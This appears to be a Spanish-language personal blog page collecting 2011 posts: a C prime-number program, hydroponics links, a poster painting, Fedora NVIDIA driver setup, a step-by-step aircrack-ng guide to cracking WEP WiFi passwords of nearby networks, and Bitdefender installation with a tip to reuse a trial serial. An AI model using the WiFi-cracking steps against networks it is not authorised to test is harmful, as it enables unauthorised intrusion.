Lanmar
Usuario (México)

Calcular Números Primos con un Programa en CPrimero y antes que todo, qué es un numero primo. Según Wank-A-Pedia:Un número primo es un número natural mayor que 1, que tiene únicamente dos divisores distintos: él mismo y el 1.Ahora, encontré un par de ejemplos en taringa, yo pongo el mio hay un par de diferencias, por ejemplo; ellos prefieren usar un while mientras que yo un segundo for y cositas así. Por eso creo valido y NO un repost, publicar esto, además el código, fue creación completamente mía.///////////////////////////////////////////////////////////////////////////////////////////////////////// Programa que Caulcula los primeros N numeros Primos // Escrito por Luis Landín // Facultad de Ingenieria, UNAM // Domingo 14 de Agosto 2011 ///////////////////////////////////////////////////////////////////////////////////////////////////////#include <stdio.h>int main(){ unsigned int numero;//limite en los ciclos for unsigned int n, esPrimo;//n es el ultimo numero que queremos calcular, //esPrimo es una variable que "guarda" si el numero calculado es primo o no unsigned int divisor, residuo;//un par de variables para ir probando si es primo o no unsigned int contador=0;//un contador para saber cuantos primos obtuvimos printf("n¿Hasta qué número desea conocer los primos?: "; scanf("%d", &n); for (numero=2;numero<=n;numero++) { for(divisor=2;divisor<numero;divisor++) { esPrimo=1;//damos por hecho que el numero es primo, hasta que se demuestre lo contrario residuo=numero%divisor; if(residuo==0) { esPrimo=0;//si entra aquí, sí, se demostró lo contrario break;//así que cierra el 2° ciclo for, sigue con el siguiente numero } } if(esPrimo !=0) //después de verificar y anotar si era o no primo, imprime en pantalla { printf("%d ",numero); contador=contador+1;//y añade a nuestro contador un termino mas } } printf("nnEstos son todos los %d numeros primosnn",contador); getchar(); return 0;//en caso de que exista un error, el compilador nos regresara un 1, en ves de 0}En el programa, se puede usar como limite del segundo for, la raiz de el numero a verificar si es primo, yo no lo hice por 2 razones:a) la función sqrt() funciona con números flotantes, por lo menos gcc, me da problemas al usar enterosb) la función pierde velocidad al llegar a números muy grandes (aunque claro, las vueltas que da el for también)yo uso gcc en Fedora y lo llame Primos.csi desean compilarlo y ejecutarlo escriban en la consola sobre el directorio donde lo guardaronEspero que les sirva para la tarea, practicar o simplemente para mejorarlo y hacerlo mas rápido (de verdad, llega a tardar 2 seg en imprimir los siguientes 4 términos después de pasar 792179 más o menos con un intel centrino a 2.0 ghz )

MANUAL PARA EL CULTIVO DE LECHUGAS EN AGUA Estuve buscando información sobre hidroponía en Taringa y solo encontré pequeñas descripciones de lo que era, no vi un solo manual ni guia para poder empezar. Y bueno comencé a buscar en google y vienen varias opciones, entre ellas una sobre el cultivo de la Lechuga, viene en PDF y esta muy bien explicado y esquematizado. http://www.peterson.edu.mx/Generales/GeneralesCuajimalpa/Hidroponia1junio/hidroponiaDocumentos/MANUALcultivo_HIDROPONIA.pdf Aqui estaba mi error El manual fue bajado de www.hombrenaturaleza.org.mx una pagina de Emmanuel (si el cantante) una sociedad sin fines de lucro que busca la participación de la sociedad para lograr un mundo mejor. Otras paginas de las que pueden obtener información son: http://www.hidroponia.org.mx/index.htm Donde encontraran información sobre cursos y noticias al respecto http://www.glosam.com/ Donde encontrar información acerca de la Hidroponía Una gran disculpa a todos los que han visitado este Post, un error de dedo fatal (le puse {img} en ves de {url} ) del cual no me había dado cuenta, muchas disculpas pero ahora mismo lo arreglo y hasta le pongo mas De hecho ya no exite el archivo original, pero encontré varios mas, uno de hidroponía general, uno de cultivo de jitomate y el ultimo de la lechuga weeeeeeee Cultivo Hidroponico de la lechuga Cultivo Hidroponico del Jitomate Manual de Hidroponia Otro manual

Pintando un poster de John Lennon-Just a Jealous Guy Pues estas son fotos de un poster que acabo de pintar, el poster es en honor a su proximo aniversario y es para un concurso que se realizara en el CELE en la UNAM, no se me ocurre otra cosa mas para ponerle asi que pues con la T! de Taringa! en el boceto La verdad no espero ganar en el concurso ni nada, lo hice por que hacia tiempo no pintaba nada (muchos lo debieron haber pensado desde que vieron la primera pero pensé que esta era una buena oportunidad de retomar el abito Espero les agrade y pues cualquier critica o comentario al respecto siempre es bien recibido

Cómo Instalar los drivers propietarios de NVIDIA en Fedora 15 Instalar drivers de vídeo en linux siempre es un relajo y desde que Fedora incorporo Nouveau se ha complicado bastante, pero, después de 6 versiones distintas; por fin pude instalar los drivers originales de Nvidia. Primero bajar el ultimo driver directamente de NVIDIA, y mientras comencemos a instalar un par de cosas que vamos a necesitar, abrimos una terminar $su contraseña: #yum -y install gcc-c++ kernel-devel Listo mientras se bajan vamos a editar el boot para des-habilitar NOUVEAU , tan solo abrimos grub.conf; este se encuentra en /boot/grub y añadimos después donde dice quiet nouveau.modeset=0 . Cuando se hayan instalado gcc y kernel-devel y los controladores de nvidia se hayan bajado, reiniciamos la computadora. Es probable que de entrada tarde mucho en arrancar o incluso que no arranque y se quede en negro la pantalla, si esto pasa no hay por que asustarse, solo denle reset a su computadora y dejen volver a bootear. Ya que arranco, observaran que Gnome deshabilito el gnome shell y/o KDE deshabilito los efectos del escritorio. Nuevamente abriremos una consola, nos logearemos como root y entraremos al sistema en modo de texto. $su contraseña: #init 3 Inmediatamente verán cerrarse el entorno gráfico y entrara en modo texto. Les pedirá que se loogen, nuevamente entraremos como root. Nos movemos a donde guardamos los drivers, le damos permisos de ejecución al programa y lo ejecutamos. Goddard login: root Password: #cd /home/Landin/Descargas && ls NVIDIA-Linux-x86_64-270.41.19.run #chmod +x NVIDIA-Linux-x86_64-270.41.19.run #./NVIDIA-Linux-x86_64-270.41.19.run Despues de eso, todo sera muy familiar para ustedes, es el clásico "siguiente..siguiente" hasta que los drivers terminen de instalarse, se reiniciara el sistema gráfico y listo. Tenemos controladores NVIDIA en nuestro Fedora. Yo aproveche para hacer mas espacio y borrar de una ves NOUVEAU desde el gestor de archivos. Espero no tengan ningún problema con la instalación y todo les funcione de maravilla Solo recuerden actualizar ustedes mismos los controladores, ya que no queda un registro en yum. Ni modo, algún costo debía tener, usar solo piezas originales

Obtener "Fácil" y Sencillamente Contraseñas WiFi Hay muchas razones para querer obtener una de estas claves Pero en este post trataremos de verlo como una cuestión "educativa". Utilizaremos Fedora como SO y nos ayudaremos de Aircrack para descifrar la contraseña. El post esta simplificado lo mas posible, para que prácticamente cualquier persona pueda usarlo. Por lo mismo evitare hacer referencias a aireplay u otra herramienta para inyectar paquetes y me dedicare exclusivamente a explicar como capturar IVs. 1. Obtener Aircrack; lo mas sencillo es abrir una terminal y usar yum, aircrack esta en los repositorios de fedora, así que no tendrán problemas para conseguirlo. 1.1-$su contraseña: 1.2-#yum install aircrack-ng 2. Con el aircrack instalado, desactivamos nuestra tarjeta wifi (en kde directamente con el networkmanager desactivado la casilla <Habilitar Redes> y checamos el nombre de nuestra tarjeta. Casi siempre Fedora pone el mismo "wlan0", pero uno nunca sabe. 2.1 #ifconfig Obtendrán algo así. Donde fácilmente vemos el nombre de la tarjeta. eth0.....Link encap:Ethernet HWaddr 00:E0:B8: FA:8A:B0 ..............UP BROADCAST MULTICAST MTU:1500 Metric:1 ..............RX packets:0 errors:0 dropped:0 overruns:0 frame:0 ..............TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 ..............collisions:0 txqueuelen:1000 ..............RX bytes:0 (0.0 b) TX bytes:0 (0.0 b) ..............Interrupt:45 Base address:0x2000 lo......... Link encap:Local Loopback ..............inet addr:127.0.0.1 Mask:255.0.0.0 ..............inet6 addr: ::1/128 Scope:Host ..............UP LOOPBACK RUNNING MTU:16436 Metric:1 ..............RX packets:300 errors:0 dropped:0 overruns:0 frame:0 ..............TX packets:300 errors:0 dropped:0 overruns:0 carrier:0 ..............collisions:0 txqueuelen:0 ..............RX bytes:18920 (18.4 KiB) TX bytes:18920 (18.4 KiB) wlan0...Link encap:Ethernet HWaddr 00:1F:3C:76: F4:6C ..............inet addr:192.168.0.13 Bcast:192.168.0.255 Mask:255.255.255.0 ..............inet6 addr: fe80::21f:3cff:fe76:f46c/64 Scope:Link ..............UP BROADCAST NOTRAILERS RUNNING PROMISC ALLMULTI MTU:1500 Metric:1 ..............RX packets:51182 errors:0 dropped:0 overruns:0 frame:0 ..............TX packets:42865 errors:0 dropped:0 overruns:0 carrier:0 ..............collisions:0 txqueuelen:1000 ..............RX bytes:40377324 (38.5 MiB) TX bytes:5865294 (5.5 MiB) 3. En la consola y como root, desactivamos la tarjeta y la ponemos en modo monitor. 3.1-#ifconfig wlan0 down 3.2-#iwconfig wlan0 mode monitor 4. Buscamos todas las redes disponibles. No profundizare en el significado de cada columna, pero es importante que la estación objetivo genere un gran numero de datos (#Data) y que el numero debajo de PWR sea lo menor posible. 4.1-#airodump-ng wlan0 Obtendrán algo así. CH 10 ][ Elapsed: 4 s ][ 2011-01-17 22:10 BSSID__________________PWR___Beacons___#Data__#/s__CH__MB___ENC___CIPHER AUTH ESSID 00:24:56:A5:14:91_-90______6_________0______0___3___54___WEP__WEP________IFINITUM#### 00:21:00:6D:B1:A9_-73_____20________100____0___11__54____WEP__WEP________cablevision## BSSID_______________STATION____________PWR___Rate___Lost__Packets__Probes 00:21:00:6D:B1:A9__00:00:00:00:00:00_-91__0-1____25___5________cablevision## Cerramos el programa precionando Ctrl + C 5. En el ejemplo anterior vemos la red que mas Datos genera y empezamos a capturarlos. Necesitaremos un poco de información de la pantalla anterior (Bssid y CH) 5.1 #airodump-ng -c 11 --bssid 00:21:00:6D:B1:A9 -w nombre-nuestro-archivo wlan0 -c hace referencia al canal de la PA, --bssid a la dirección MAC de la PA y -w indica el nombre para el archivo donde se capturan los paquetes CH 11 ][ Elapsed: 0 s ][ 2011-01-17 22:52 ][ fixed channel wlan0: 5 BSSID_______________PWR___Beacons___#Data__#/s__CH__MB___ENC___CIPHER AUTH ESSID 00:21:00:6D:B1:A9_-73_____20________100____0___11__54___WEP____WEP________cablevision## BSSID_______________STATION____________PWR___Rate___Lost__Packets__Probes 00:21:00:6D:B1:A9__00:00:00:00:00:00_-91__0-1____25___5________cablevision## 6. Dejaremos que nuestros paquetes sean capturados. Necesitaremos por lo menos 20,000 paquetes. No Exagero, este proceso sera tardado y aveces frustrante, pero es la forma mas fácil. Mientras tanto podemos dejar trabajando aircrack para que valla buscando la contraseña. Aircrack se auto-ejecutara cada 5,000 paquetes. Introduciremos la BSSID de la estación objetivo. 6.1#aircrack-ng -b 00:21:00:6D:B1:A9 nombre-nuestro-archivo-01.cap Noten que el programa automáticamente agrega un -01 al final de nuestro archivo. Este se ira incrementando amenos de que borremos los archivos con anterioridad. __________________________Aircrack-ng 1.1 [00:00:04] Tested 50 keys (got 29377 IVs) KB__depth__byte(vote) 0___0/ 2___00(38400) B9(36608) 3A(35072) 6D(35072) 26(34816) 2A(34816) 1___0/ 2___00(39424) C8(36352) 01(35072) 1B(35072) 7E(34560) 93(34560) 2___2/ 4___C4(35840) 00(34816) 21(34816) 5C(34048) 38(33792) 44(33792) 3___0/ 4___00(38400) 18(37888) FA(36352) 86(35584) E1(35072) ED(35072) 4___0/ 1___00(41472) 41(37376) 06(36608) CC(35840) 4C(35072) 67(34560) KEY FOUND! [ 00:00:00:00:00 ] Decrypted correctly: 100% 7. Finalmente levantamos nuestra red 7.1-#ifconfig wlan0 up y re-habilitamos nuestra red en el Networkmanager y nos conectamos con la clave

Instalar un Antivirus en GNU/Linux. ¿Por qué? No que en Linux no hay virus. Errrr sí los hay, solo busquen la cantidad de virus que han salido para facebook o los que ya existen para Android. Sé que existen otros antivirus libres en linux como Clamav, pero por costumbre a mi me gusta usar Bitdefender, instalarlo resulta sumamente fácil. Lo primero sera instalar los repositorios oficiales de Bitdefender, para eso abrimos la consola y nos logueamos como root, y escribimos la siguiente linea: rpm -i http://download.bitdefender.com/repos/rpm/bitdefender/i586/BitDefender-repo-1-1.noarch.rpm Listo, ahora actualizamos actualizamos, para que se cargue la información de los repositorios: # yum update E instalamos : # yum install bitdefender-scanner-gui y listo tenemos bitdefender en nuestra computadora. Ideal para limpiar discos de Windows o OS X jajajaja. De fabrica trae una licencia de prueba para unos cuantos días, ahí mismo denle click, les pedirá que se registren, un correo electrónico y les mandaran un numero de serie que aunque dice por un año, les servirá una y otra y otra ves, no solo para esa maquina, sino para la que ustedes necesiten. Actualizacion Un problema ocurre en bitdefender y termina en una violación de segmento cerrando el programa, la solución es sencilla Como root escriban: # cat /opt/BitDefender-scanner/var/lib/scan/versions.dat.* | awk '/bdcore.so.linux/ {print $3}' | while read bdcore_so; do touch /opt/BitDefender-scanner/var/lib/scan/$bdcore_so; bdscan --update; mv /opt/BitDefender-scanner/var/lib/scan/bdcore.so /opt/BitDefender-scanner/var/lib/scan/bdcore.so.old; ln -s /opt/BitDefender-scanner/var/lib/scan/$bdcore_so /opt/BitDefender-scanner/var/lib/scan/bdcore.so; chown bitdefender:bitdefender /opt/BitDefender-scanner/var/lib/scan/$bdcore_so; done